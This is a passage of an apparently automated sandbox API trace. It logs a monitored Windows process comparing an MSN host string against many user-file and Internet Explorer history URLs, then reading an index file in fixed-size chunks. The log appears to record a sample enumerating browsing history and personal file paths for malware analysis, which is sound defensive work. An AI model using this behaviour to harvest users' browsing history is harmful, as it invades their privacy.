(_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned -1 [0069.164] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="http://google.com") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned -1 [0069.165] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="https:url \x02") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="http://www.google.de/") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="http://go.microsoft.com/fwlink/") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="http://www.msn.com/") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="https://www.google.de/") returned -1 [0069.166] wcscmp (_String1=":host: www.msn.com", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0069.166] wcslen (_String=":host: www.msn.com") returned 0x12 [0069.166] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.166] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/" [0069.166] wcscmp (_String1="http://www.msn.com/de-de/", _String2=":host: www.msn.com") returned 1 [0069.166] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://www.msn.com/de-de/") returned 0 [0069.166] SetFilePointer (in: hFile=0xcc, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200 [0069.166] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.166] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.166] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5280 [0069.166] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.166] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.166] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300 [0069.166] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.166] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.166] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380 [0069.166] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.166] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.166] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400 [0069.166] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.166] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.166] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 